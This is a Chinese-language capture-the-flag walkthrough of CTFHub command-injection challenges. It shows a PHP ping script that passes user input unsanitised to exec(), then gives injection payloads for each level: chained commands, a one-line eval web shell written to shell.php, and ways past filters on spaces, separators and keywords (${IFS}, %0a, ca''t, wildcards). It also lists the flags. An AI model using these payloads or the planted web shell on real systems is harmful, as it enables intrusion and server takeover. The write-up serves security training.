命令注入:
1.进入页面,测试127.0.0.1,
关键代码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
$cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
exec($cmd, $res);// 执行cmd,把结果输出到res
}
if ($res) {
print_r($res);// 打印结果
}
show_source(__FILE__);
?>
2.构造payload,
127.0.0.1&ls
3.查看php文件,发现无回显(其实是使用了base64编码),查看源代码,得到flag,
127.0.0.1&cat 210541730730303.php
或
127.0.0.1&cat 210541730730303.php | base64
flag:
ctfhub{5436702e5cde577d4e9ef18d9ad40349515cbf3a}
或:
构造一句话,用蚁剑连接,得到flag,
127.0.0.1 &echo "<?php @eval($_POST['a']);?>" >> shell.php
过滤cat:
1.进入页面,测试命令,
127.0.0.1&ls
2.由题目可知,过滤了cat,命令如下,
127.0.0.1&ca flag_21289172249170.php | base64
127.0.0.1 &echo "<?php @eval($_POST['a']);?>" >> shell.php
//上传一句话,用蚁剑连接
flag:
ctfhub{e187c21c72bd29ad7e816f1075fe1f815b51f18f}
补充:
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
过滤空格:
1.进入页面,拼接命令,查看目录,
127.0.0.1&ls
2.由题目可知过滤了空格,考虑可以替换空格的字符,拼接命令,得到flag,
IFS$9、 %09、 <、 >、 <>、 {,}、 %20、 ${IFS}
命令(举例):
127.0.0.1&cat${IFS}flag_102021121611290.php
flag:
ctfhub{0200e31e461e9a383bb302d32aef61607d5bd39d}
过滤目录分隔符:
1.进入页面,拼接命令,查看目录,
2.由于过滤了目录分隔符,先进入该目录,查看目录,发现php文件,
127.0.0.1&cd flag_is_here&&ls
;cd flag_is_here&&ls
3.查看php文件,得到flag,
;cd flag_is_here&&cat flag_302352460411609.php
flag:
ctfhub{459a7b8b38544556938964f163d9b008304ca51d}
过滤运算符:
1.进入页面,过滤了一对符号,直接,
;ls
2.发现php文件直接出来了,读取就完事儿了,
;cat flag_44482022017796.php
127.0.0.1; base64 flag_297281061019145.php
flag:
ctfhub{e03cf17d8991d33a67fd3038db5fa53dd39ded1c}
综合过滤练习:
1.进入页面,根据过滤函数可知,过滤了如下关键词,
|,&,;, ,/,cat,flag,ctfhub
2.提交如下命令并抓包,抓包后发送到repeater模块,将&改为%0a,GO一下,发现flag_is_here目录,
127.0.0.1&ls
3.查看目录下的内容,发现flag.php文件,
127.0.0.1%0als${IFS}fl*$ag_is_here
4.查看文件,得到flag,
127.0.0.1%0acd${IFS}fl$*ag_is_here%0amore${IFS}fl$*ag_154412024616707.php
//其中cat用more替换,也可以使用ca''t
flag:
ctfhub{06ce07f172f0097961f14a73947c19db7577a52a}
补充:
在linux下,命令分隔符除了;还有%0a
空格可以用${IFS}
flag可以用正则f***或者fl$*ag_id_here这样替代。
cat可以用more或者ca''t